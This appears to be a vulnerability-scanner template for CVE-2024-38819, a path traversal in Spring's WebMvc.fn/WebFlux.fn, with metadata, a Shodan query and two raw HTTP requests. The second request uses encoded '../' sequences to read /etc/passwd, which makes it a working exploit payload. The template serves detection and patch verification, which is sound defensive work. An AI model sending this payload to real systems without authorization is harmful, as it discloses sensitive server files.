Spring Framework Path Traversal in Functional Web Frameworks

id: CVE-2024-38819

info:
  name: Spring Framework Path Traversal in Functional Web Frameworks
  author: DhiyaneshDk
  severity: high
  description: |
    Applications serving static resources through the functional web frameworks WebMvc.fn or WebFlux.fn are vulnerable to path traversal attacks. An attacker can craft malicious HTTP requests and obtain any file on the file system that is also accessible to the process in which the Spring application is running. The application is vulnerable when it uses RouterFunctions to serve static resources and resource handling is explicitly configured with a FileSystemResource location. This is similar to CVE-2024-38816, but with different input. Unlike CVE-2024-38816, applications deployed on Tomcat or Jetty are also vulnerable.
  impact: |
    Attackers can access sensitive files on the server, potentially leading to information disclosure or further system compromise.
  remediation: |
    Implement input validation and sanitize file paths, or update to the latest version of Spring Framework.
  reference:
    - https://spring.io/security/cve-2024-38819
    - https://nvd.nist.gov/vuln/detail/CVE-2024-38819
    - https://github.com/masa42/CVE-2024-38819-PoC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-38819
    epss-score: 0.54862
    epss-percentile: 0.98902
    cwe-id: CWE-22
    cpe: cpe:2.3:a:vmware:spring_framework:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: vmware
    product: spring_framework
    shodan-query: http.favicon.hash:116323821
  tags: cve,cve2024,spring,lfi,vmware,vuln


flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /etc/passwd HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "!regex('root:.*:0:0:', body)"
        internal: true

  - raw:
      - |
        GET /static/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
        Host: {{Hostname}}


    matchers:
      - type: dsl
        dsl:
          - "regex('root:.*:0:0:', body)"
          - "status_code == 200"
        condition: and
# digest: 490a0046304402204b84efce10f8e5d94eb263c7e1be5a9b4488be7a9d55d3cad4309ea406b70b070220482ef8301f96be386913fbcfa707fbc0673d968e0e818a157a66eef1da86e112:922c64590222798bb761d5b6d8e72950